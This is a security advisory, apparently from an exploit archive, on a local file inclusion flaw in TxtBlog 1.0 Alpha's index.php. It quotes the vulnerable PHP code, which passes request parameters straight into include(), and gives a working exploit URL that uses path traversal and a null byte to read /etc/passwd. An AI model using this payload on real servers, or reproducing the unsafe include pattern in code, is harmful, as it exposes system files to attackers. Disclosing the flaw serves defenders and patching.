TxtBlog (index.php m) Local File Inclusion Vulnerability

2008.12.21
Risk: Low
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

============================================================ TxtBlog (index.php m) Local File Inclusion Vulnerability ============================================================ ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 27 November 2008 SITE : cwh.citec.us ##################################################### APPLICATION : TxtBlog VERSION : v.1.0 Alpha DOWNLOAD : http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip ##################################################### --- Local File Inclusion --- ----------------------------- Vulnerable File (index.php) ----------------------------- function showMonth() { global $config_date_format, $txtblog_body, $txtblog_title, $config_title; $txtblog_body = ""; $txtblog_title = "$config_title - Archives"; $year = $_GET['y']; $month = $_GET['m']; $files = findFiles("data/$year/$month"); <<< BUG !!!! if (isset($files)) { foreach ($files as $file) { include ("data/$year/$month/$file"); <<< BUG !!!! $date_array = explode(" ",$date); $date = date($config_date_format, mktime($date_array[0], $date_array[1], $date_array[2], $date_array[3], $date_array[4], $date_array[5])); $txtblog_body .= "<span class='blog_title'>$title</span><br>\n<span class='blog_date'>$date</span><br>\n".bb2html($blog)."<br>\n<hr size='1'>\n"; } } } --------- Exploit --------- [+] http://[Target]/[txtblogcms_path]/index.php?y=2005&m=01/../../../../../../../../etc/passwd%00 ####################################################################################### Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK #######################################################################################

References:

http://xforce.iss.net/xforce/xfdb/46902
http://www.securityfocus.com/bid/32498
http://www.milw0rm.com/exploits/7241


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